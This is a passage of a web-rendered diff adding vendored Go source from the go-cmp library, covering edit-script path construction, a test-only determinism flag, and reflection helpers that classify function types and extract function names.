if revFrontier.X-fwdPath.X >= revFrontier.Y-fwdPath.Y {
|
||||
revFrontier.X--
|
||||
} else {
|
||||
revFrontier.Y--
|
||||
}
|
||||
goto forwardSearch
|
||||
}
|
||||
|
||||
finishSearch:
|
||||
// Join the forward and reverse paths and then append the reverse path.
|
||||
fwdPath.connect(revPath.point, f)
|
||||
for i := len(revPath.es) - 1; i >= 0; i-- {
|
||||
t := revPath.es[i]
|
||||
revPath.es = revPath.es[:i]
|
||||
fwdPath.append(t)
|
||||
}
|
||||
debug.Finish()
|
||||
return fwdPath.es
|
||||
}
|
||||
|
||||
type path struct {
|
||||
dir int // +1 if forward, -1 if reverse
|
||||
point // Leading point of the EditScript path
|
||||
es EditScript
|
||||
}
|
||||
|
||||
// connect appends any necessary Identity, Modified, UniqueX, or UniqueY types
|
||||
// to the edit-script to connect p.point to dst.
|
||||
func (p *path) connect(dst point, f EqualFunc) {
|
||||
if p.dir > 0 {
|
||||
// Connect in forward direction.
|
||||
for dst.X > p.X && dst.Y > p.Y {
|
||||
switch r := f(p.X, p.Y); {
|
||||
case r.Equal():
|
||||
p.append(Identity)
|
||||
case r.Similar():
|
||||
p.append(Modified)
|
||||
case dst.X-p.X >= dst.Y-p.Y:
|
||||
p.append(UniqueX)
|
||||
default:
|
||||
p.append(UniqueY)
|
||||
}
|
||||
}
|
||||
for dst.X > p.X {
|
||||
p.append(UniqueX)
|
||||
}
|
||||
for dst.Y > p.Y {
|
||||
p.append(UniqueY)
|
||||
}
|
||||
} else {
|
||||
// Connect in reverse direction.
|
||||
for p.X > dst.X && p.Y > dst.Y {
|
||||
switch r := f(p.X-1, p.Y-1); {
|
||||
case r.Equal():
|
||||
p.append(Identity)
|
||||
case r.Similar():
|
||||
p.append(Modified)
|
||||
case p.Y-dst.Y >= p.X-dst.X:
|
||||
p.append(UniqueY)
|
||||
default:
|
||||
p.append(UniqueX)
|
||||
}
|
||||
}
|
||||
for p.X > dst.X {
|
||||
p.append(UniqueX)
|
||||
}
|
||||
for p.Y > dst.Y {
|
||||
p.append(UniqueY)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *path) append(t EditType) {
|
||||
p.es = append(p.es, t)
|
||||
switch t {
|
||||
case Identity, Modified:
|
||||
p.add(p.dir, p.dir)
|
||||
case UniqueX:
|
||||
p.add(p.dir, 0)
|
||||
case UniqueY:
|
||||
p.add(0, p.dir)
|
||||
}
|
||||
debug.Update()
|
||||
}
|
||||
|
||||
type point struct{ X, Y int }
|
||||
|
||||
func (p *point) add(dx, dy int) { p.X += dx; p.Y += dy }
|
||||
|
||||
// zigzag maps a consecutive sequence of integers to a zig-zag sequence.
|
||||
// [0 1 2 3 4 5 ...] => [0 -1 +1 -2 +2 ...]
|
||||
func zigzag(x int) int {
|
||||
if x&1 != 0 {
|
||||
x = ^x
|
||||
}
|
||||
return x >> 1
|
||||
}
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
// Copyright 2019, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package flags
|
||||
|
||||
// Deterministic controls whether the output of Diff should be deterministic.
|
||||
// This is only used for testing.
|
||||
var Deterministic bool
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package function provides functionality for identifying function types.
|
||||
package function
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type funcType int
|
||||
|
||||
const (
|
||||
_ funcType = iota
|
||||
|
||||
tbFunc // func(T) bool
|
||||
ttbFunc // func(T, T) bool
|
||||
trbFunc // func(T, R) bool
|
||||
tibFunc // func(T, I) bool
|
||||
trFunc // func(T) R
|
||||
|
||||
Equal = ttbFunc // func(T, T) bool
|
||||
EqualAssignable = tibFunc // func(T, I) bool; encapsulates func(T, T) bool
|
||||
Transformer = trFunc // func(T) R
|
||||
ValueFilter = ttbFunc // func(T, T) bool
|
||||
Less = ttbFunc // func(T, T) bool
|
||||
ValuePredicate = tbFunc // func(T) bool
|
||||
KeyValuePredicate = trbFunc // func(T, R) bool
|
||||
)
|
||||
|
||||
var boolType = reflect.TypeOf(true)
|
||||
|
||||
// IsType reports whether the reflect.Type is of the specified function type.
|
||||
func IsType(t reflect.Type, ft funcType) bool {
|
||||
if t == nil || t.Kind() != reflect.Func || t.IsVariadic() {
|
||||
return false
|
||||
}
|
||||
ni, no := t.NumIn(), t.NumOut()
|
||||
switch ft {
|
||||
case tbFunc: // func(T) bool
|
||||
if ni == 1 && no == 1 && t.Out(0) == boolType {
|
||||
return true
|
||||
}
|
||||
case ttbFunc: // func(T, T) bool
|
||||
if ni == 2 && no == 1 && t.In(0) == t.In(1) && t.Out(0) == boolType {
|
||||
return true
|
||||
}
|
||||
case trbFunc: // func(T, R) bool
|
||||
if ni == 2 && no == 1 && t.Out(0) == boolType {
|
||||
return true
|
||||
}
|
||||
case tibFunc: // func(T, I) bool
|
||||
if ni == 2 && no == 1 && t.In(0).AssignableTo(t.In(1)) && t.Out(0) == boolType {
|
||||
return true
|
||||
}
|
||||
case trFunc: // func(T) R
|
||||
if ni == 1 && no == 1 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
var lastIdentRx = regexp.MustCompile(`[_\p{L}][_\p{L}\p{N}]*$`)
|
||||
|
||||
// NameOf returns the name of the function value.
|
||||
func NameOf(v reflect.Value) string {
|
||||
fnc := runtime.FuncForPC(v.Pointer())
|
||||
if fnc == nil {
|
||||
return "<unknown>"
|
||||
}
|
||||
fullName := fnc.Name() // e.g., "long/path/name/mypkg.(*MyType).(long/path/name/mypkg.myMethod)-fm"
|
||||
|
||||
// Method closures have a "-fm" suffix.
|
||||
fullName = strings.TrimSuffix(fullName, "-fm")
|
||||
|
||||
var name string
|
||||
for len(fullName) > 0 {
|
||||
inParen := strings.HasSuffix(fullName, ")")
|
||||
fullName = strings.TrimSuffix(fullName, ")")
|
||||
|
||||
s := lastIdentRx.FindString(fullName)
|
||||
if s == "" {
|
||||
break
|
||||
}
|
||||
name = s + "." + name
|
||||
fullName = strings.TrimSuffix(fullName, s)
|
||||
|
||||
if i := strings.LastIndexByte(fullName, '('); inParen && i >= 0 {
|
||||
fullName = fullName[:i]
|
||||
}
|
||||
fullName = strings.TrimSuffix(fullName, ".")
|
||||
}
|
||||
return strings.TrimSuffix(name, ".")
|
||||
}
|
||||
Loaded 100 of 2446 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user